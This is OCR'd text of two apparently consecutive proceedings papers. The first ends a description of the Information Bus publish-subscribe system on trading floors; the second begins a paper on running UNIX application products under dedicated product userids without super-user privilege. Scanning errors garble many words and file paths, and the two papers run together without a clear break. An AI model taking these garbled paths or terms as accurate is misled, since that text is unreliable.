introduces the individual mechanisms used to support these performance and scalability
objectives. The next section describes how these mechanisms are combined together to sup­
port very large systems.

Naive implementations of the publish-subscribe paradigm-e.g., simply broadcasting all pro­
duced data and caching data in a single central repository-will not work in an environment
supporting both a wide range of data producers and good scalability. Instead, a bus implemen­
tation must be able to provide different levels of service for different data producers without
penalizing a producer for service levels that it does not use. In Information Bus, this is accom­
plished through an extensible architecture that supports the notions of "service," and "service
management protocols.".

A "service" is a well defined set of functions for data generation and manipulation. To support
high performance and high availability, the functions of a setvice may be partitioned and rep­
licated across multiple server processes. Whenever a client requests information by subject,
the subject is mapped into one or more services that can (potentially) provide information on
that subject.

A "service management protocol" encapsulates all the logic required to access and manage
the multiple processes comprising a service so that these processes appear as a single entity to
clients. It includes subprotocols for failure detection, recovery management, replication man­
agement, and load balancing. The various service management protocols differ in the level of
sophistication implemented. The simplest service management protocol provides only failure
detection and is used for non-critical applications, while the protocol for critical high-speed
data producers supports a primary/hot-standby replication scheme with transparent switch­
over. This latter protocol, which is described in more detail in the next section, supports repli­
cation transparency and failure transparency.

An important responsibility for a service management protocol is to implement a data dissem­
ination subprotocol. Again a wide range in service levels is provided. The simplest subproto­
col simply broadcasts all produced data, without regard to whether there are active data
subscribers or not. The more sophisticated protocols provide fine-grain control over how and
what data is transported across the network by maintaining a list of active subscribers and by
dynamically adjusting the dissemination strategy based on their number and location.

Naturally, the various service management protocols vary widely in the amount of protocol
overhead introduced. However, a service only pays for the level of fault-tolerance, replication
management, and data dissemination sophistication that it requires.

Critical to performance are efficient communication facilities that support the dissemination
of a published object to many subscribers. Such facilities are provided in Information Bus,
through a communication daemon.
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The communication daemon implements a reliable datagram protocol and a reliable broadcast
protocol. Both protocols are optimistic protocols utilizing "negative acknowledgments." Lost
messages are automatically retransmitted and re-sequenced, so that the supported abstraction
is one of a "lightweight connection" ensuring a reliable, ordered message stream. Each light­
weight connection is cheap in resources and set-up time. Consequently, it is not unreasonable
for an application to open thousands of such connections.

To use Information Bus, an application links with a C language library. This library imple­
ments the upper-level functions of the various service management protocols, and provides an
interface to the lightweight connection abstraction supported by the communication daemon.
It also implements a specialized IPC mechanism between itself and the daemon. Across this
IPC mechanism, messages are passed via shared memory, and are buffered and exchanged on
a periodic basis (e.g., every 20 to 50 milliseconds) so as to reduce context switches.

5. Performance and Scalability

Systems based on Information Bus have to be scalable across 3 orders of magnitude as mea­
sured by number of active producers/consumers and by volume of data generation. Four tech­
niques are used to achieve this:

• performance features implemented in Information Bus (as described in the previous sec­
tion),

• Active Repositories that support data partitioning and replication,

• a service management protocol that has been tuned to support the needs of high perfor­
mance repositories,

• and by configuring the underlying network topology to match the principal data flows.

Active Repositories playa critical role in the system: they store and maintain all persistent
objects published in the system. Because of this role, their architecture is a key determinant of
the scalability of the overall system and is described below l

As suggested in the Figure 3, producers of persistent objects actually publish their objects into
an Active Repository. After storing the object into the repository, the repository is then
responsible for disseminating the data to the active subscribers. Hence it is actually the Active
Repository that is responsible for disseminating the data. However, both the repository and its
functions are largely transparent to the publishers and subscribers that it serves.

Although the principal function of a repository is to store and disseminate persistent objects, it
also supports several important secondary functions. Most importantly, it permits clients to
query by subject, allowing a client to retrieve all of the recently published objects on a given
subject or range of subjects. It also permits clients to query as to which subjects are active-

I. In fact, several classes of Active Repositories are implemented, each class offering a different level of
fault-tolerance and performance. The following description is of the class offering the highest performance
and fault-tolerance.
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that is, which subjects currently have data objects in the repository. This latter function
enables the construction of subject browsers.

Because a single repository imposes a performance bottleneck that would severely limit scal­
ability, multiple Active Repositories are supported. Each repository maintains data for one or
more partitions of the subject space. These partitions are generally chosen to reflect known or
anticipated patterns in data access within groups of users. The system administrator can easily
assign new subject partitions or drop existing ones from a repository, but this requires a shut­
down and restart of the repository.

Active Repositories may be replicated for performance reasons. Replicated repositories cover
the same subject space and, hence, maintain the same objects. The user community is stati­
cally partitioned across the replicas in an effort to share load-again, using known or antici­
pated data access patterns.

High throughput within a repository is achieved through several mechanisms. First, the data
image is memory resident. Changes to the data image are logged, but as normally configured,
a complete data image is not kept on disk. Second, the client community for a repository is
partitioned into a small number of client groups. A repository is normally configured to dis­
seminate information within a group using the reliable broadcast protocol in Information Bus.
This permits a high fan-out of data in an efficient manner. Third, each repository maintains a
subscription list by client group. Only data on subjects with active subscribers is disseminated
within a group.

Fault-tolerance is achieved by using hot standbys. A hot standby replicates the complete state
of its associated primary, including data and subscription lists. The standby is completely pas­
sive until it detects the failure of its primary. With the help the underlying service management
protocol, the failure switchover is completely transparent for clients.

A special service management protocol has been implemented for high performance Active
Repositories. The protocol provides a number of important support functions. Foremost
among these, it locates the current Active Repository for a client requesting a given subject
and notifies the repository of the subscription request.

The protocol also provides a number of fault-tolerance functions. For repositories, it provides
failure monitoring of subscribers, publishers, and peers. Notification of subscriber failures
enables repositories to correctly maintain their subscription lists. For subscribers, it performs
duplicate elimination when a switchover to a hot standby occurs, thereby, ensuring that such
switchovers will be transparent to subscribers. For publishers, it provides support functions to
allow them to be configured as fault-tolerant pairs, using hot standbys. (However, the service
management protocol does not attempt to synchronize states between fault-tolerant pairs­
that is the responsibility of the application.)

The use of data partitioning and replication, as supported by Active Repositories and their ser­
vice management protocols, yield the potential for scaling across a wide range. The final fac­
tor in achieving this potential is the network configuration itself. Several configuration.
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techniques, ranging from isolated networks for high speed publishers to subnetworks based on
workgroup access patterns, can be utilized to achieve good scalability. Figure 3 presents a
trading floor example that illustrates these network configuration techniques.

In the example, two groups of high-speed data producers are isolated onto two separate net­
works. The producers feed two groups of large Active Repositories. Within each group, the
repositories have partitioned the subject space so as to be able to accommodate the high data
publishing rates of the producers. Typically, each major repository would also be configured
to have a hot standby (not shown in the diagram).

The Active Repositories span the multiple networks and are capable of disseminating data to
subscribers on the main network. Since, as a general rule of thumb, less than 10% of the pub­
lished data will have active subscribers, the data output rate of the repositories will be much
less than its input rate. Consequently, the bandwidth consumption on the main network is less
than that on the isolated networks.

Workgroups are supported on individual subnetworks. Smaller Active Repositories on these
subnetworks are configured to manage the subjects frequently required by the workgroup. For
example, one of the workgroups may represent Equity (stock) traders, and their local Active
Repositories may be configured to capture subjects covering companies issuing stock. Among
other data, these repositories would capture the research reports and the buy/sell recommenda-:­
tions published by the analysts within the group.

6. Experience

The techniques described above have enabled Information Bus to meet it performance and
scalability objectives in production installations. The smallest installation has two worksta­
tions with a single server easily supporting three major publishing applications and one Active
Repository.

The largest installation is a trading floor that includes over 600 workstations and servers run­
ning over 2000 application instances. Its network configuration is similar to the one illustrated
in Figure 3. The highest speed producer publishes in excess of 300 updates per second during
the busiest times of the day, which tends to be the market open of the New York Stock
Exchange. Table I gives more detailed figures for this installation, as well as stress testing
data on an experimental configuration that uses load generators to simulate a thousand node
network. RISC workstations and servers in the 20 to 50 MIPS range and running standard
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UNIX were used in the installation and the experiment. After considerable performance tun-

Table 1. Data from a production installations and from stress
testing in an experimental configuration.

Volume Production Stress Testing

Workstations >480 >1,000

Data Sources (major)8 >120 >200

Data Objects/Second 50-1,100 >4,000

Data Exchanges/Sec.
-average 100-1,700 >5,000

-peak >9,000 >40,000

a. Excludes hundreds of small data producers. such as real-time
spreadsheets, that are set-up by individuals and work groups.

ing, the average end-to-end delay from publisher to subscriber via an Active Repository is
well under 250 milliseconds.

7. Comparison with Other Systems

Linda was the first system to support a generative communication model[2]. However, the
Information Bus differs from the Linda system in several important ways.

First, Linda generates tuples instead of self-describing objects. Self-describing data has been
invaluable in enabling data independence, the creation of generic data manipulation and visu­
alization tools, and achieving the system objective of permitting dynamic integration of new
services.

Second, Linda accesses data based in attribute qualification, instead of a hierarchical subject
qualification. Attribute qualification, while more general, does not lend itself to very high per­
formance implementations in large-scale, highly distributed systems. In practice, we have
found hierarchical subjects an intuitive way to conceptualize and organize information
flows-permitting the construction of very high performance systems without being overly
restrictive. (In addition, Active Repositories do support a limited capability for querying by
attribute qualification on a given subject.)

Third, Linda does not appear to have an extensible architecture supporting multiple levels of
fault-tolerance and performance. The Information Bus architecture permits the tailoring of the
service management protocols to an application's fault-tolerance and performance require­
ments, without penalizing the application for levels of service that it does not require. More­
over, it permits the addition of new management protocols to accommodate different failure
semantics or new levels of performance requirements.
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Recently, several systems have been introduced that supports the "publish-subscribe" para­
digm [3, 4, 5, 6, 7]. These systems, often called "message buses," do not support a high-level
system model-in particular, they do not support the notion of subjects and self-describing
data. Their focus tends to be more on personal and work-group computing, and therefore they
lack strong support for scalability. Many of these systems do not support broadcast, and those
that do tend to have naive implementations based on broadcasting all published data. In con­
trast, Information Bus was designed for large-scale, mission-critical environments. As a
result, it encapsulates sophisticated service management protocols providing replication trans­
parency, failure transparency, sophisticated data dissemination strategies, and very high per­
formance. Most importantly, it provides a number of facilities to support very scalable
systems.
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Figure 1. The Information Bus System Model
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Notes:

• The information model consists of self-describing objects attributed with subjects.

• The actual services producing the data are anonymous and transparent to the data consum­
ers.
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Figure 2.

Notes:

• The dataflows, although depicted. are ttansparent to the applications. The applications
request data by subjects (not shown).

• Only data from two exchanges are shown. A large trading floor will typical receive data
from 100 to 200 exchanges and markets.

• The Market Monitor is a single data visualization application capable of viewing all data
objects sent in a self-describing format. including instances of dynamically defined
classes.

Skeen
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Figure 3.

In a large trading floor. the network topology is designed to match the major data flows. Here.
two sets of very high speed data producers are configured on isolated networks. They feed
Active Repositories. which store all of the data as persistent objects. and re-publish data that
has active subscribers. (In this capacity. the Active Repositories are pcrfonning an important
fine-graining filtering function.) Other active repositories support local work groups and
remote locations.
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Abstract

Application programs for UNIX1 are increasingly making greater demands upon the system structure, are
adhering less well to admittedly inexplicit guidelines, or, are being inexactly transliterated from the paradigms of
other systems. TIlese influences add to the administrative problems and load, and, in some cases, are exacerbating
security risks. The administrative problems and corresponding solutions are presented here in a twofold manner:

Firstly, by the description of our use of methods that separate administration of the programs and files that make up an
application suite both from system administration and from each other. We argue that thus a sort ot modularity takes
place in the software administration. The goal is the lack of need for super user privilege, so that this separation
improves the overall security of the system.

Secondly, we list a nwnber of features that we support as being essential, a list of requirements to be fulfilled by
all application programs written for UNIX systems.

1 Introduction

Many software products are designed to be installed on top of the bare operating system, and are indeed usually
installed that way. The list of such products includes databases, compilers, docwnent processors, office automation
tools, just to name a few. As the smoke begins to clear on graphical interface servers, we will see a greater number
of applications that install as GUI clients, and be expressly designed for networked envirorunents. As these issues
become better defined, and UNIX increasingly becomes the platfonn of choice, the number of products which are
being written for, ported to, or re-implemented on these platfomlS will grow rather than decrease.

A trend in modem operating systems is the movement towards using a small-kernel structure [ALBL91] in which
only the basic functions are implemented in the kemel. The remaining functions are offered as services outside
of the kernel, a method which has the advantage that the system can, by selecting the services to add, be tailored
to the specific needs of each installation's user community. Generalizing this thought, the programs or suites of
programs and data that implement applications can be seen as yet another, higher-level, layer around the inner
modules. These outer layers should exhibit the properties of independence and separateness, and have well-defined
interfaces in the way they interact with the lower levels, rather than weave themselves into the system in ways that
make later untangling difficult.

In the ensuing discussion we use the following definitions:

administration The actions and organizational methods needed to make and keep a computing system efficient,
effective, and usable. (See [NSS89] for a description of the typical duties of a system administrator); and

application product A set of programs, files, data, etc., that provide the services to furnish a computing application
to a user. While individual programs may accomplish this, it is the bigger and more complex suites that are
of more concern for the present discussioll.

UNIX is a registered trademark of UNIX System Laboratories, Inc.
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In earlier days, the system administrator's job could include all activities for all installed software. Thus it has been,
and continues often to be, the case that software is installed owned by a small number of userid's; in particular, "root",
"bin", "sys'\ "daemon", and the like. These userids provide a classification that guides the system administrator
in various tasks (such as, e.g., finding the programs that should be started out of the boot scripts). TItus many
existing aspects of system structure are detemtined by the ways in which system administrators have gone about
their multitudinous tasks.

Application products consisting of interacting programs, configuration files, files of related data, and similar, make
greater demands on system resources and structure than single task utilities, or even sets of such utilities. Additionally,
these application products are developing their internal structure to the point that they require specific administration
of their own, an administration that requires specific education and knowledge in the area of the application. E.g.,
database software requires a "data base manager" to define tables, create indices over those tables, and to monitor
various operational statistics, and to devise optimization strategies.

The "one person does all" administration is no longer feasible once three or four more such demanding application
products are added to a system.

The usual way to deal with a complex problem is to decompose it into modules. To do this in the context of
system administration, we introduce the concept of a product manager, a person responsible for the administration
of a given application product While product management for one specific product can be shared between equally
entitled persons, or one person may be responsibie for several products, we assume for the sake of simplicity in the
following discussion, and without loss of generality, that every product is administered by one person.

Given this decomposition, the problem is transfomled into how to effectively and safely share the system adminis­
tration br;rden between these several agents.

We consider it important that no product manager have the super user privilege, since increasing the nwnber of people
having the password of "root" is both a security concem and, given that accidents will happen, a system integrity
risk. Obviously, there are some modules, e.g., the network access suite, whose administration is not feasible without
being "root". We will call the components of suites such as these system programs in contrast to the programs
found making up application products. "Product management" of system programs remains one task of the system
administrator (who, like a product manager, may be more than one person). We do not consider system administrators
as product managers in the strict sense; administration of system programs is outside the scope of this paper.

In the rest of this paper we discuss the issues of administering application products. In section 2, we describe a
premise of product management which meets the requirements of effectiveness and security. This leads to issues
ill the installation of application programs, which are described in section 3. In section 4, we propose a list of
properties which all application programs written for UNIX systems should have. This list may help in evaluating
software and, if it were be widely accepted, it would facilitate the system administrator's task and increase the
overall system security. Finally, we introduce a number of "wandering soul" problems which we feel are still in
search of solutions. Related work is discussed in section 6.

2 Modular Product Management

Application products might be characterized as being programs developed and/or offered unbundled by the
system supplier or by a third party and as not being an integral part of the operating system. In most respects
application products have no operating system dependencies other than the standard system calls, and should not
need super user privilege during execution.

Our intent is that those system administration tasks specific to a particular application product (i.e., product
management) be, and be able to be, carried out by the product manager. It is our concept that the product manager
be the on-site specialist for the product, and the application area that it serves. The product manager becomes
responsible for the correct installation of the software and, on behalf of the installation's management, for its use in
confonnance with any licenses. Beside those tasks that are required for a given product, e.g., creating a data dictionary
for a database product, there are tasks and other requirements which are common for all products, e.g., installation,
granting access, etc. In the following, we will restrict attention to these general issues of product management.

The administration of a complete (network ot) computer system(s) is separated into modules by assigning a product
manager to every installed product. The basic principles for modularization [pom84] are:
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Module Closure, which means that any module should constitute a self-contained logical unit, providing for all
functions needed to implement the module.

Freedom from Interference, i.e., modules do not exert any internal influence upon one another other, or, in other
words, interaction is only via the defined interfaces.

Interface minimalily and visibility. This requires that the external interface be the minimlUll necessary to fulfil the
modules tasks, and that visibility into the internal operation of the module be similarly limited.

In teffilS of product management, module closure is best achieved by dedicating a specific manager to each product,
and that the product manager have the needed facilities and tools for the task. Freedom from interference may
be translated by autonomy. a product manager must be able to do his or her work without bothering the system
administrator too much or relying upon the active help of a privileged person. Where interaction between the
product manager and the system administmtor is required, it should be for support levels that have been detemlined
in advance. The minimolity requirements demand that those things that are required from the system administrator, or
by the system administrator of the product manager, be kept minimal, and that, within the domain of the application
product, the product manager should be free to do what is necessary (again, without having to obtain help or
petmission from the system adnlinistrator).

The single strategy that gives greatest opportunity to reaching these goals, we have found, is the allocation of a
dedicated userid to each product. This userid is not, and should not be, the product manager's personal userid: we
name it the product userid. The password of a product userid is asswned known only to the product manager and
any delegated proxy. It is also advantageous, in most cases, to create a unique groupid.

All elements of the application product, programs and other files, which are installed as part of the product are then
owned by the product userid. This allows the product manager to set the access rights based on the specific needs
of the product. Different products are clearly separated from each other.

In order to meet the modularization requirements, the userid for an application product must not be "root". There
is no concept in UNIX of granting privilege on anything other than an all-or-nothing basis (e.g., the ability to
override file protections, but not to kill any process), so, if a product userid is not "root", then it must be identical
in capabilities to any other ordinary userid.2 It is then clear that one operation in the minimal interface between
the product manager and the systenl adnlinistrator happens prior to the very first installation of the product "root"
has to create the product userid (and groupid) and to make sure that there is enough space available on the disk
subsystem. Ideally, this would be the entirety of the interface. We will see in section 3.5, however, that this minimal
interface is not always possible.

The use of a product userid brings the following features and advantages:

1. The application product may, and should, have a home directory of its own. The contents, and snbdirectory
structure of this home directory may be organized according to the needs of the product without reference to
any other system organization requirements (module closure).

2. Ideally, no files belonging to the product should need to be outside the home directory, but this is rarely the
case. Any additional files that are installed outside the home directory should also be made to belong to the
product userid (module closure). .

3. The product userid will have a mailbox associated with it. This mailbox can be used as the sole destination for
user queries and reports that relate to the product (freedom from interference).

If desired, a . forward can be used to send this mail to the product manager (although there is a lot to be
said for keeping this material segregated from the product manager's personal mail).

4. Under SVID-confonning UNIX systems, the product gains its own crontab[SVI86]. This enables the product
manager to arrange for the regular scheduling of administrative scripts or programs such as usage reports, security
guardians. trash collectors, erc. (freedom from interference, and minimality).

5. Programs belonging to the product can, when necessary, be installed with the setuid bit, to. calise execution
under the product userid, so that they may manipulate files, e.g., logging and accounting files3, otherwise hidden
and protected from the user (freedom from interference, and minimality).

2 We assume that every ordinary userid has a noonal shell; we do not consider special llscrids with restrictcd shells.

3 In the interest'; of rights to privacy. we fully support the disclosure by the product docwnentatiQIl of what infonnatioll rclating to any
individual user is heing collected.
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If not controlled carefully, setuid "root" may be a security risk. Setgid may be an alternative in some cases,
although it is less comfortable for the users, because, before using a specific product, the appropriate groupid
has to be set. We discuss this issue in section 5

These features allow maximal control over the·product. They provide the product manager with the basis for
protecting the programs from unlicensed use, and pennit the hiding of product critical infonnation from unintended
use.

Our experience has been that many application products can be fitted into this strategy, with only small or minor
exceptions to the modularization principles. Some, however, because of in-built dependencies, defy handling in this
way. Seamless support of this style of modularized product management requires that the application programs be
designed with this goal in mind. In the next section we will discuss some of the problems encountered.

3 Issues in Product Installation

The problems with which a product manager is confronted when installing or updating an application program
often appear to be countless. From our experience, we have identified five major reasons why a product may fail
to meet the above mentioned requirements for modularization.

For the purposes of discussion, we will not refer to the application products from which we draw our examples by
name, for it is not our intent to denounce particular software manufacturers. Rather, we seek to establish a direction,
an extended UNIX philosophy, and to get more producers to design in accordance with these principles. We do
not claim that the following list is complete in any sense; we describe only the (less than satisfactory) experiences
we have had recently.

3.1 Fixed Names

Problem: Absolute path names offiles, directories, and/or userids are hard coded into an application program.

Product A required a specific directory name to be present in the root ("I") directory. Such use of fixed names
violates the system administrator's freedom to organize the directory tree at will, based upon criteria which facilitate
administration tasks. Using symbolic links does not provide a good solution, since symbolic links are not much
easier to install and maintain than files. (Other problems with the use of the root file system are described below.)

Absolute path names are easy to avoid if it is known during the design phase that the program will be installed
under its own userid. The home directory of the product's userid may then be taken as the reference point for all
files and directories. In most UNIX systems, there are reasonably simple ways by which the home directory of the
program's owner can be detennined.

While we advocate allocating a userid to each application product, the application has still to be independent of
the choice of that userid. Preconceived userid's may clash with existing userid's, and/or violate local roles for
their creation. Our installation, for example, follows enterprise-wide rules that we hope will allow for allocation of
mnemonic userid's to a significant proportion of more than 80,000 employees.

3.2 Fixed Resources

Problem: Fixed resources pose a problem iftwo different products require the same unique resource ofthe UNIX
system.

Product B is an example of a product which requested specific ports for network daemons. If the requirement for
a specific resource, such a network port, is hard coded into several different application products, then only one
of them can be installed.4

A product manager needs the ability to define at will the resources that the managed product requires. This is possible
if the resources are described in environment variables or in files which the program reads at installation, initiation,

4 TIle incompatibilities of proprietary netwol'k protocols which show up in the world of personal computers belongs also to this category of
problems.
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or during execution, and which the product manager may edit. Such a solution is also possible for the fixed names
problem described in the previous section 3.1. although is not needed if home directory relativity is used.

The worst case of predetennined resources by which we have been confronted, so far, was that a product demanded
that the default shell of any user be the Boume shell. Since at our installation the Kom shell is the standard (default)
shell, some features of which are used in scripts like jete/profile, we needed to circumvent this restriction.
We didn't succeed. however. (The program seems ·to look up the /ete/passwd file searching for "/bin/sh"
in the user's entry, and if this is not present. assumes the user is using /bin/esh, even if the user is acmally in
/bin/sh at the present moment.)

A similar situation was met with product C, which provides the capability of a shell escape. However, the escape
always invokes jbin/sh, irrespective of the current shell, the value of the SHELL variable, or the user's default
shell. Additionally, the invocation is as a login shell, hence all infonnation in the current environment is lost. In
particular, in the case where the user is a /bin/esh devotee, the user's . profile file contains little of use, and
the results from the escaped command, if not leading to "cannot find ... ", are usually nonsense.

It is reasonable that an application product, within scripts that are part of the product, should preswne a given shell,
and take whatever steps are required to ensure the script is executed by that shell (there are several methods, all
connnonly known). However, when attempting to execute scripts or cOIIUllaDds provided by the user, the user must
be allowed the choice, and this choice should not be made in any global manner. The same user may desire the use
of a different shell at different times. We support the view that it is up to the designer to make the application product
independent of a user's shell. The most obvious method of detennination of the shell desired by the user (other than
directly asking) is to use the value of the SHELL environment variable. (Shell problems are mentioned again below.)

3.3 Distributed Environments

Problem: Files are assumed to be local to the system upon which an application program is executing.

The UNIX world is moving toward a situation in which the majority of environments are network distributed, and
application products employ client/server architectures. Frequently, tlle network clients are (diskless) workstations
which are connected to more powerful servers by a medium- to high-speed network. Networked file access is
becoming connnonplace. By suitable mounting strategies, almost every file available from any network server can
be transparently accessed from every client, independent of the actual physical location of the file.

A client/server architecture, and, in particular, network file access, makes systenl administration and product
management, in the main, easier. Every program is stored only once in the netw<?rk and may be called from
any client. However, there are a few exceptions. The root file system, tlmt is, the H/" directory, for example, is
unique to each client, and in particular, so is the jete directory within the root file system. Sun Microsystems'
Network Infonnation System (NIS) can make this fact transparent to system administrators and users for selected
files placed under NIS management. For example, when a password is changed within a NIS domain, the new
password is written to the /ete/passwd file on the master server, and it is immediately made available to all
client systems via a set of master and slave databases maintained by fue NIS server.

There are two specific potential pitfalls for application products in a distributed environment:

1. Application programs rely on the presence of, or the creation of, administrative files in tlle root file system, in
particular, those found in jete. An additional problem is that often the root file systenl is minimally sized,
and the addition of several extra files can take it to capacity. (We could also be have treated this problem in
the sections 3.1 and/or 3.5.)

When the file is specific to the product, we recommend fue solution discussed above, i.e., the use of a product
home directory. When this will not suffice, we cannot propose a total solution, but there do exist a number
of strategies:

Try to have the product use /usr/ete rather fuan /ete, as /usr will always be network mounted
by diskless clients, and sometimes even by diskful clients when not in single user mode. In fact, one
manufacturer has adopted symbolically linking jete to /usr/ete (which has to be done for each
client. but only once), which allows changed files to be seen everywhere.
Specifically link symbolically from files in the root file systcm to files tllat are located in some other
file system which is mounted 011 all clients. This wiJI pemlit changes originating at one client to be
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seen everywhere, but, as new clients are installed, the system administrator will have to remember
to establish the needed symbolic links.
The product manager, or the system administrator, can provide a script that will remote copy (rep)
a master copy of the file to the appropriate clients on the network. One manufacturer, as part of a
networking tools package, provides a utility that will distribute files on an "as changed" basis. The
usc of this tool requires close cooperation between the product managers and the ~ystem administrator.

2. Application programs do not use network infonnation sources when it would be appropriate to do so. Examples
of infonnation sources are name servers and Sun's NIS. Once we had to install an application program which
seemed to try to read the client dependent file fete/hosts. In a network environment, it would have been
more appropriate to rely on the library call gethostbynarne, as this will use the network service, if available,
to find a host name, and only resort to reading the local hosts file if the network service is not responding.

The product in question was attempting to read the hosts. file during the booting process: on the version of
UNIX in question, the symbolic linking described above would have worked, as the file system containing
/usr is mounted even in single user mode. However, in general, the circumvention of this problem by the use
of symbolic links to file systems always network mounted is not applicable to application products needed in
single user mode, as those file systems are not nonnally mounted in that mode.

Issues of network licenses are discussed in section 4.3.

3.4 Security

Problem: Application programs are not sufficiently sensitive to security issues.

Every computer system installation has its security rules, with varying degrees of stringency. Yet there are a few
security rules which the UNIX community agrees should always be obeyed [LBB90]. One is that passwords, if
stored at all, are stored only in encrypted forrn.s Yet we have evaluated application programs which require that
a valid userid for a remote computer be stored together with the corresponding password in a world-readable file.
For this problem, there really is no solution - it is simply poor design. Such a program cannot be installed by a
responsible system administrator, or product manager.

Other security holes do not affect the system, but rather the product itself. For example, product D requires that a
file important to its own operational integrity be writable by the world (so that a component program can write to it
when being executed by any user). Given that the program was designed that way, there is no way to circumvent
the problem at installation time, but the manufacturer could easily have avoided this by using a product userid and
the setuid mechanism.

It is notable that the problems described in sections 3.3 and 3.4 most often show up when the application products
were originally developed for other operating systems, those which do not have UNIX-equivalent features, and
ported to UNIX later.

3.5 Privileges

Problem: Products assume super user privilege 10 be the solution to design problems.

111 their installation guides, software manufacturers often require that one have higher levels of privileges when
installing an application program. Since UNIX has no graduation in granting privileges, the system administrator is
required to install the product, or, a product manager must be given (albeit temporarily) super user privilege. This
is a potential security risk, and, by giving absolute power to a user less cognizant of the dangers inherent in the
use of super user privilege, a system integrity risk. Such a product violates the autonomy that we desire for both
the system administrator and the product manager.

Yet, in the real world, there are often several good reasons why a product manager might need super user privilege, at
least for a short time, during installation. We discriminate therefore between different degrees of privilege required
by application products. and our tolerance for them:

S It is a basically bad idea that the "ftp" program facilitates the connection to a remote computer by checking a file for valid userids and
passwords.
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no privilege Application products requiring no super user privilege are the most desirable, but few exist in practice.
Most frequently, it is desired that an application program.be found when called without its absolute path name.
This is achieved only when the program is located in a directory which already appears in the user's path. The
often adopted solution is to install the program in /bin, /usr/bin, or even /usr/local/bin, but as these
are a common resources, they cannot belong any particular product manager. Hence the system administrator
must be involved.

The partial solution for this problem, that limits the system administrator's involvement to a one-time only action,
is once again tne use of a symbolic link. At the time the system administrator creates the userid for a product,
a symbolic link to a single program and/or shell script is also created. This is a link to a name indicated by the
product manager. The symbolic link is located in, e.g., the /usr/local/bin directory, which is usually on a
user's PATH. The product manager may then update the script or program as needed, without further reference
to the system administrator. (Another solution to this problem is discussed in section 4.)

A similar problem arises if a product depends on a daemon process. Although such a daemon may not require
super user privilege to execute, it has to be called from a system start-up file at boot time. Hence, the system
administrator has to make an entry in the start-up file; this entry may include a su command to the produces
userid, and a calion a product manager-supplied script or program, that may be later changed or updated by
the product manager.

privilege during installation only Manufacturers of application products sometimes require that at least parts of the
installation procedure be executed with super user privilege. E.g., product E uses shared memory, and tbus
the system administrator has to build and install an operating system kernel having this capability. Tbis is
acceptable if the task the system administrator has to execute is well documented. Although this requirement
broadens the interface between system and application program, it is the best way to deal with the problem that
an application program needs specific system resouoces.

On the other hand, some manufacturers deliver an installation script6 which has to be executed by "root". For
most system administrators, this is close to being an unreasonable request. The only way a system adnlinistrator
can respond in such a case is to scan carefully through the script and to find out where, and why, it needs such
privilege. By this method, the administrator may be lucky enough to detect that it is possible to modify the
script so that it does not really need such a level of privilege. We have an example in our exp~rience where
a script simply dumped all files from the tape as "root" in order to be able to change the ownership to the
product's userid. Unfortunately, in some UNIX derivatives, particularly those that are closely SVID-eonfomling,
changing the ownership of a file needs super user privilege.

Scanning through scripts is prone to error, especially if this has to be done with every new release of the product
(when the effects of "familiarity" cause conceptual closure).

pril,i/ege during execution A program has privilege during execution either if it has to be executed by Uroot" or
if it is owned by root and the setuid bit is set. An application program should never need any privilege
during execution. It is possible to demonstrate the successful operation of a distributed spooling system, which
needs access to multiple user's files, which operates in a networked, heterogeneous environment without having
recourse to the use of super user privilege [Wag90].

Granting super user privilege to a compiled program is a security risk since, while it is possible to design correct
programs, there is basically no way to prove that a given implementation of a program adheres to that design
[Bro8?]. Hence, granting privilege implies a certain "leap of faith" in the "correctness" of the program. But
how can one have confidence in the design and implementation of a product, if the manufacturer could not, by
appropriate design, avoid having the program being owned and executed by "root" and having the setllid bit set.

There is no way to cirCLUllvent this problem. It has to be solved "at sOUl'Ce" by the manufacturer. In section
4.2 we propose what a manufacturer should do - besides a careful design - if the product reany needs super
user privilege during execution.

4 Requirements for Application Software

In section 3 we discussed some problems in the installation and execution of application software which cannot
be solved or circumvented by product managers. These problems should not occur in well-designcd products and

Most, but not all installation procedurcs wc have encountered are delivercd as a shell script rather than a compiled progmm.
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hence have to be solved by the manufacturer. In this section. we give a list of the requirements and recommendations
which, in our opinion, would help the manufacturers to improve their products with regard to security and system
administration.

This list may also serve as a check list for system administrators and product managers when a new product is
to be acquired. Even if it is not deemed necessary that a product meet these requirements, the exercise of seeing
whether or not it does will be instructive, and will help fonnulate an estimate of the effort that will be required to
support a given product once installed.

We invite discussion of this list, and contribution to both its further extension and refinement. Active discussion can
lead to a new consensus and development of the "UNIX philosophy" as we move into an era of bigger, more complex
installations providing ever more capable applications. It is our sincere hope that this list can become a basis fOf
the evolution of a community standard for UNIX application products, and a systems administration methodology.

4.1 System Administration

A product's design should assume the use of a product userid, and the corresponding home directory, rather
than access to conunon. system-owned, directories and files. A particular userid should not be assumed, nor
that the home directory is placed at a known place in the directory hierarchy. No special privilege should be
assumed for the userid.
A product must 110t require fixed names and/or resources. Names and similar things should be described in
a parameter file that can be changed by the product manager. If for perfonnance reasons, names have to be
hard coded, the source code of this part of the product together with a makefile for compiling and linking
should be provided.

4.2 Privileges

A progranl must not need to be run by "root". If an application software should really need super user privilege,
the corresponding program should have to be installed as with setuid, owned by root, and its source code has
to be made available. The product manager, and perhaps the system administrator also, is expected to check
all code and all' scripts that are to be executed with super usef privilege. The same considerations apply to
installation scripts.
To facilitate the above checking, the programs, scripts, and other tasks which requires super user privilege
must also be accompanied by (English) documentation explaining both the function and need. This description
should pose as little restriction as possible on the alternative options available to the system administrator.
Each product making use of the product userid concept should provide as part of it's package a "user's
initialization script", which we will assume here is called rc. init. This script should create and, if necessary,
provide default values for, environment variables needed by the application, ensure that the needed directory
for the programs of the application is present in the PATH, and anything else that is needed.

A user desiring to subscribe to this application product would then include a dot evaluation (source execution)
of this script in the appropriate shell initialization file, thus conditioning the shell envirorunent for the application.

For preference, the invocation of this script would use the "-,, notation native to the ksh shell. i.e.:
. -prodid/rc.init

(and the similar CODStruct of the csh shell). The advantage of this is that the home directory of the product
may be relocated (which is something system administrators do from time to time, to balance out file system
loads) without any effect upon the user.

4.3 Networks

A product should be designed to run in a networked file environment. That means it should be able to be
installed at a single server only and be accessible where ever the file system is mounted ill the network. A user
may call the product from any node of the network.
We are aware that this raises concerns about accounting for usage when this is related to license, royalty or lease
payments. To our mind the concept of "floating licenses". which control the number of concurrent users but not
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their location on the local network, is closest to the aims and objectives of network distributed computing, and
we recommend this approach. It should be noted that with its own lIserid and home directory, a product can
easily use a setuid process to monitor concurrent usage, and to record this in a file to which only it has access.
Direct access to files expected to be found in the root file system should be avoided. Library interfaces to access
equivalent illfonnation are recommended when this is needed. Writing to such files, particularly "administrative"
